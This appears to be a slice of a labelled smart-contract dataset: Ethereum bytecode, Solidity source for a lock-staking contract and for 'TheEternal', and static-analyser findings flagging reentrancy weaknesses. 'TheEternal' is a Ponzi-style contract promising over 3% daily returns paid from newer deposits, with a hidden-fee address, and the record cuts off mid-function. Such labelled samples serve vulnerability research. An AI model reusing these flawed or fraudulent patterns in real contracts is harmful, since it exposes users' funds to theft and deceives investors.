8b8161176b565b919050565b600080604083850312156117a357600080fd5b82356117ae8161176b565b946020939093013593505050565b6000602082840312156117ce57600080fd5b5035919050565b6000806000606084860312156117ea57600080fd5b83356117f58161176b565b925060208401356118058161176b565b929592945050506040919091013590565b60006020828403121561182857600080fd5b81356110e98161176b565b801515811461047c57600080fd5b60006020828403121561185357600080fd5b81356110e981611833565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188757600080fd5b823567ffffffffffffffff8082111561189f57600080fd5b818501915085601f8301126118b357600080fd5b8135818111156118c5576118c561185e565b8060051b604051601f19603f830116810181811085821117156118ea576118ea61185e565b60405291825284820192508381018501918883111561190857600080fd5b938501935b8285101561192d5761191e85611780565b8452938501939285019261190d565b98975050505050505050565b6000806040838503121561194c57600080fd5b82356119578161176b565b915060208301356119678161176b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119b957600080fd5b81516110e98161176b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a0457611a046119da565b5060010190565b600080600060608486031215611a2057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a4b57600080fd5b81516110e981611833565b600082611a7357634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a8a57611a8a6119da565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611adf5784516001600160a01b031683529383019391830191600101611aba565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b1357611b136119da565b500190565b6000816000190483118215151615611b3257611b326119da565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bd11f4e33ba086dd2f71c83128124b55c240cf35e6053553d602bb09cbbf8e364736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,205 |
0xF5C78d82BDA73E5c04fbb55f6458336Ec6D41e97
|
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface ILockStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract LockStakingRewardSameTokenFixedAPY is ILockStakingRewards, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public token;
uint256 public rewardRate;
uint256 public immutable lockDuration;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeLocks;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address to, uint amount);
event RescueToken(address to, address token, uint amount);
constructor(
address _token,
uint _rewardRate,
uint _lockDuration
) {
token = IERC20(_token);
rewardRate = _rewardRate;
lockDuration = _lockDuration;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function earned(address account) public view override returns (uint256) {
return (_balances[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[msg.sender];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[msg.sender] = newAmount;
// permit
IERC20Permit(address(token)).permit(msg.sender, address(this), amount, deadline, v, r, s);
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[msg.sender]++;
stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[msg.sender][stakeNonce] = amount;
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[msg.sender];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[msg.sender] = newAmount;
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[msg.sender]++;
stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[msg.sender][stakeNonce] = amount;
emit Staked(msg.sender, amount);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[user];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[user] = newAmount;
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[user]++;
stakeLocks[user][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[user][stakeNonce] = amount;
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
uint amount = stakeAmounts[msg.sender][nonce];
require(stakeAmounts[msg.sender][nonce] > 0, "LockStakingRewardSameTokenFixedAPY: This stake nonce was withdrawn");
require(stakeLocks[msg.sender][nonce] < block.timestamp, "LockStakingRewardSameTokenFixedAPY: Locked");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
token.safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
token.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function rescue(address to, address tokenAddress, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot rescue 0");
require(tokenAddress != address(token), "LockStakingRewardSameTokenFixedAPY: Cannot rescue staking/reward token");
IERC20(tokenAddress).safeTransfer(to, amount);
emit RescueToken(to, address(tokenAddress), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101975760003560e01c806386a9d8a8116100e3578063d4ee1d901161008c578063f44c407a11610066578063f44c407a14610303578063f520e7e514610316578063fc0c546a1461031e57610197565b8063d4ee1d90146102d5578063ecd9ba82146102dd578063f2fde38b146102f057610197565b8063971fe937116100bd578063971fe9371461029c578063a694fc3a146102af578063baee99c2146102c257610197565b806386a9d8a8146102615780638da5cb5b146102745780638edc7f2d1461028957610197565b80633d18b9121161014557806379ba50971161011f57806379ba50971461023e5780637a4e4ecf146102465780637b0a47ee1461025957610197565b80633d18b9121461021057806351746bb21461021857806370a082311461022b57610197565b806318160ddd1161017657806318160ddd146101e257806320ff430b146101ea5780632e1a7d4d146101fd57610197565b80628cc2621461019c57806304554443146101c557806315c2ba14146101cd575b600080fd5b6101af6101aa366004611640565b610326565b6040516101bc9190611d2c565b60405180910390f35b6101af6103b6565b6101e06101db3660046116f9565b6103da565b005b6101af610474565b6101e06101f8366004611687565b61047a565b6101e061020b3660046116f9565b610608565b6101e06107be565b6101e0610226366004611711565b6108b1565b6101af610239366004611640565b610b0c565b6101e0610b34565b6101e061025436600461165c565b610bf0565b6101af610d49565b6101af61026f366004611640565b610d4f565b61027c610d61565b6040516101bc91906117c6565b6101af6102973660046116c7565b610d7d565b6101af6102aa3660046116c7565b610d9a565b6101e06102bd3660046116f9565b610db7565b6101af6102d0366004611640565b610fa5565b61027c610fb7565b6101e06102eb366004611740565b610fd3565b6101e06102fe366004611640565b611232565b6101e06103113660046116f9565b6112f2565b6101af611303565b61027c61130b565b60006103376301e133806064611d86565b60045473ffffffffffffffffffffffffffffffffffffffff84166000908152600560205260409020546103a691906103a090610374904290611327565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600a602052604090205490611377565b90611377565b6103b09190611d4d565b92915050565b7f00000000000000000000000000000000000000000000000000000000004f1a0081565b60015473ffffffffffffffffffffffffffffffffffffffff163314610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610469908390611d2c565b60405180910390a150565b60095490565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b73ffffffffffffffffffffffffffffffffffffffff8316610518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611b24565b60008111610552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906119b0565b60035473ffffffffffffffffffffffffffffffffffffffff838116911614156105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906118c1565b6105c873ffffffffffffffffffffffffffffffffffffffff831684836113dd565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516105fb9392919061180d565b60405180910390a1505050565b600160008082825461061a9190611d35565b9091555050600080543382526007602090815260408084208585529091529091205480610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611aa1565b33600090815260066020908152604080832086845290915290205442116106c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611ba7565b6009546106d39082611327565b600955336000908152600a60205260409020546106f09082611327565b336000818152600a60205260409020919091556003546107299173ffffffffffffffffffffffffffffffffffffffff90911690836113dd565b33600081815260076020908152604080832087845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d590610776908490611d2c565b60405180910390a25060005481146107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b5050565b60016000808282546107d09190611d35565b909155505060008054906107e333610326565b90508015610872573360008181526005602052604090204290556003546108239173ffffffffffffffffffffffffffffffffffffffff90911690836113dd565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040516108699190611d2c565b60405180910390a25b5060005481146108ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b50565b60016000808282546108c39190611d35565b909155505060005482610902576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b60095461090f908461147e565b60095573ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604081205490610943828661147e565b905061099f816109534288611377565b61095d9190611d4d565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260056020526040902054839061098f9086611377565b6109999190611d4d565b9061147e565b73ffffffffffffffffffffffffffffffffffffffff808616600090815260056020908152604080832094909455600a9052919091208290556003546109e791163330886114c7565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260086020526040812080549082610a1983611dda565b909155509050610a497f00000000000000000000000000000000000000000000000000000000004f1a0042611d35565b73ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832086845282528083209490945582825260078152838220858352905282902088905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90610ac1908990611d2c565b60405180910390a25050506000548114610b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600a602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b5857600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b73ffffffffffffffffffffffffffffffffffffffff8216610c8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611b24565b60008111610cc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906119b0565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d0b573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d3d9291906117e7565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600760209081526000928352604080842090915290825290205481565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dc99190611d35565b909155505060005481610e08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b600954610e15908361147e565b600955336000908152600a602052604081205490610e33828561147e565b9050610e6981610e434287611377565b610e4d9190611d4d565b33600090815260056020526040902054839061098f9086611377565b33600081815260056020908152604080832094909455600a905291909120829055600354610eb19173ffffffffffffffffffffffffffffffffffffffff9091169030876114c7565b33600090815260086020526040812080549082610ecd83611dda565b909155509050610efd7f00000000000000000000000000000000000000000000000000000000004f1a0042611d35565b33600081815260066020908152604080832086845282528083209490945582825260078152838220858352905282902087905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90610f5f908890611d2c565b60405180910390a250505060005481146107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b60056020526000908152604090205481565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6001600080828254610fe59190611d35565b909155505060005485611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b600954611031908761147e565b600955336000908152600a60205260408120549061104f828961147e565b905061105f81610e43428b611377565b33600081815260056020908152604080832094909455600a905282902083905560035491517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9092169163d505accf916110de9130908d908d908d908d908d9060040161183e565b600060405180830381600087803b1580156110f857600080fd5b505af115801561110c573d6000803e3d6000fd5b5050600354611136925073ffffffffffffffffffffffffffffffffffffffff16905033308b6114c7565b3360009081526008602052604081208054908261115283611dda565b9091555090506111827f00000000000000000000000000000000000000000000000000000000004f1a0042611d35565b3360008181526006602090815260408083208684528252808320949094558282526007815283822085835290528290208b905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d906111e4908c90611d2c565b60405180910390a2505050600054811461122a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b60025473ffffffffffffffffffffffffffffffffffffffff828116911614156112ab57600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6112fa6107be565b6108ae81610608565b6301e1338081565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611a0d565b600061136f8385611dc3565b949350505050565b600082611386575060006103b0565b60006113928385611d86565b90508261139f8583611d4d565b146113d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611a44565b9392505050565b610b078363a9059cbb60e01b84846040516024016113fc9291906117e7565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526114ee565b60008061148b8385611d35565b9050838110156113d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611944565b6114e8846323b872dd60e01b8585856040516024016113fc9392919061180d565b50505050565b61150d8273ffffffffffffffffffffffffffffffffffffffff1661163a565b611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cf5565b6000808373ffffffffffffffffffffffffffffffffffffffff168360405161156b919061178d565b6000604051808303816000865af19150503d80600081146115a8576040519150601f19603f3d011682016040523d82523d6000602084013e6115ad565b606091505b5091509150816115e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061197b565b8051156114e8578080602001905181019061160491906116d9565b6114e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c04565b3b151590565b600060208284031215611651578081fd5b81356113d681611e42565b6000806040838503121561166e578081fd5b823561167981611e42565b946020939093013593505050565b60008060006060848603121561169b578081fd5b83356116a681611e42565b925060208401356116b681611e42565b929592945050506040919091013590565b6000806040838503121561166e578182fd5b6000602082840312156116ea578081fd5b815180151581146113d6578182fd5b60006020828403121561170a578081fd5b5035919050565b60008060408385031215611723578182fd5b82359150602083013561173581611e42565b809150509250929050565b600080600080600060a08688031215611757578081fd5b8535945060208601359350604086013560ff81168114611775578182fd5b94979396509394606081013594506080013592915050565b60008251815b818110156117ad5760208186018101518583015201611793565b818111156117bb5782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526046908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f7420726573637565207374616b696e672f72657761726460608201527f20746f6b656e0000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526033908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f7420726573637565203000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526042908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2054686973207374616b65206e6f6e636520776173207769746864726160608201527f776e000000000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526045908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f742072657363756520746f20746865207a65726f20616460608201527f6472657373000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602a908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a204c6f636b656400000000000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f74207374616b6520300000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b90815260200190565b60008219821115611d4857611d48611e13565b500190565b600082611d81577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dbe57611dbe611e13565b500290565b600082821015611dd557611dd5611e13565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e0c57611e0c611e13565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146108ae57600080fdfea2646970667358221220b55611dd287e2a75f38c7fcf9a9638f2f82a14171dcf23f5cdfad9d29b58cf8464736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,206 |
0x19226ae123349c30df4b84d69531668cdb1050e6
|
pragma solidity ^0.4.24;
/**
*
* ██████╗ ███████╗████████╗███████╗██████╗ ███╗ ██╗ █████╗ ██╗
* ██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██║
* ██████╔╝█████╗ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║██║
* ██╔══██╗██╔══╝ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║
* ██║ ██║███████╗ ██║ ███████╗██║ ██║██║ ╚████║██║ ██║███████╗
* ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
*
* Contacts:
*
* -- t.me/Reternal
* -- https://www.reternal.net
*
* - GAIN PER 24 HOURS:
*
* -- Individual balance < 1 Ether: 3.15%
* -- Individual balance >= 1 Ether: 3.25%
* -- Individual balance >= 4 Ether: 3.45%
* -- Individual balance >= 12 Ether: 3.65%
* -- Individual balance >= 50 Ether: 3.85%
* -- Individual balance >= 200 Ether: 4.15%
*
* -- Contract balance < 222 Ether: 0%
* -- Contract balance >= 222 Ether: 0.10%
* -- Contract balance >= 555 Ether: 0.20%
* -- Contract balance >= 999 Ether: 0.30%
* -- Contract balance >= 1555 Ether: 0.45%
* -- Contract balance >= 2222 Ether: 0.65%
*
* - Minimal contribution 0.01 eth
* - Contribution allocation schemes:
* -- 95% payments
* -- 5% Marketing + Operating Expenses
*
* - How to use:
* 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH
* 2. Add your refferer's wallet to a HEX data in your transaction to
* get a bonus amount back to your wallet only for the FIRST deposit
* IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty,
* if you have no referrer and do not want to support Reternal, you can type 'noreferrer'
* if there is no referrer, you will not get any bonuses
* 3. Use etherscan.io to verify your transaction
* 4. Claim your dividents by sending 0 ether transaction (available anytime)
* 5. You can reinvest anytime you want
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* The smart-contract has a "restart" function, more info at www.reternal.net
*
* If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet
* WARNING: do not use exchanges' wallets - you will loose your funds. Only use your personal wallet for transactions
*
*/
contract TheEternal {
// Investor's data storage
mapping (address => Investor) public investors;
address[] public addresses;
struct Investor
{
uint id;
uint deposit;
uint depositCount;
uint block;
address referrer;
}
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED;
uint public round;
uint public totalDepositAmount;
bool public pause;
uint public restartBlock;
bool ref_flag;
// Investors' dividents increase goals due to a bank growth
uint bank1 = 222e18; // 222 eth
uint bank2 = 555e18; // 555 eth
uint bank3 = 999e18; // 999 eth
uint bank4 = 1555e18; // 1555 eth
uint bank5 = 2222e18; // 2222 eth
// Investors' dividents increase due to individual deposit amount
uint dep1 = 1e18; // 1 ETH
uint dep2 = 4e18; // 4 ETH
uint dep3 = 12e18; // 12 ETH
uint dep4 = 5e19; // 50 ETH
uint dep5 = 2e20; // 200 ETH
event NewInvestor(address indexed investor, uint deposit, address referrer);
event PayOffDividends(address indexed investor, uint value);
event refPayout(address indexed investor, uint value, address referrer);
event NewDeposit(address indexed investor, uint value);
event NextRoundStarted(uint round, uint block, address addr, uint value);
constructor() public {
addresses.length = 1;
round = 1;
pause = false;
}
function restart() private {
address addr;
for (uint i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
}
emit NextRoundStarted(round, block.number, msg.sender, msg.value);
pause = false;
round += 1;
totalDepositAmount = 0;
createDeposit();
}
function getRaisedPercents(address addr) internal view returns(uint){
// Individual deposit percentage sums up with 'Reternal total fund' percentage
uint percent = getIndividualPercent() + getBankPercent();
uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000;
return(amount / 100);
}
function payDividends() private{
require(investors[msg.sender].id > 0, "Investor not found.");
// Investor's total raised amount
uint amount = getRaisedPercents(msg.sender);
if (address(this).balance < amount) {
pause = true;
restartBlock = block.number + 6000;
return;
}
// Service fee deduction
uint FeeToWithdraw = amount * 5 / 100;
uint payment = amount - FeeToWithdraw;
address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw);
msg.sender.transfer(payment);
emit PayOffDividends(msg.sender, amount);
}
function createDeposit() private{
Investor storage user = investors[msg.sender];
if (user.id == 0) {
// Check for malicious smart-contract
msg.sender.transfer(0 wei);
user.id = addresses.push(msg.sender);
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
// Check for referrer's registration. Check for self referring
if (investors[referrer].id > 0 && referrer != msg.sender) {
user.referrer = referrer;
// Cashback only for the first deposit
if (user.depositCount == 0) {
